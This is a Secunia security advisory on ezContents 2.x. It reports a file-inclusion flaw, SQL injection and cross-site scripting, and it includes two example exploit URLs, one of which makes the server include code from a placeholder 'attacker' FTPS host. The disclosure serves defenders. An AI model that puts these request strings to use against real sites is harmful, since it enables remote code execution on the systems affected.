Secunia Security Advisory - DarkFig has discovered some vulnerabilities in ezContents, which can be exploited by malicious people to conduct cross-site scripting and SQL injection attacks or to compromise a vulnerable system.
422bf3948eb5bb046a39c02b4713831bb66164cd3895914d2879acd48035ceb1
----------------------------------------------------------------------
Want to work within IT-Security?
Secunia is expanding its team of highly skilled security experts.
We will help with relocation and obtaining a work permit.
Currently the following type of positions are available:
http://secunia.com/quality_assurance_analyst/
http://secunia.com/web_application_security_specialist/
http://secunia.com/hardcore_disassembler_and_reverse_engineer/
----------------------------------------------------------------------
TITLE:
ezContents Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA21703
VERIFY ADVISORY:
http://secunia.com/advisories/21703/
CRITICAL:
Highly critical
IMPACT:
Cross Site Scripting, Manipulation of data, System access
WHERE:
>From remote
SOFTWARE:
ezContents 2.x
http://secunia.com/product/2789/
DESCRIPTION:
DarkFig has discovered some vulnerabilities in ezContents, which can
be exploited by malicious people to conduct cross-site scripting and
SQL injection attacks or to compromise a vulnerable system.
1) An error within the "moduleExternalLink()" function in
modules/moduleSec.php allows to include arbitrary files from local
resources, or from external resources by e.g. using the "ftps"
protocol. Note that the "isExternalLink()" function in
include/functions.php and the "adminExternalLink()" function in
admin/adminbutton.php suffer from the same error.
Example:
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://attacker/file.php
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=/tmp/file.php%00
2) Input passed to the "groupname" parameter in headeruserdata.php is
not properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injection arbitrary SQL code.
3) Input passed to the "subgroupname" parameter in loginreg2.php is
not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's
browser session in context of a vulnerable site.
The vulnerabilities have been confirmed in version 2.0.3. Other
versions may also be affected.
SOLUTION:
Edit the source code to ensure that input is properly verified.
PROVIDED AND/OR DISCOVERED BY:
DarkFig
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
everybody keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------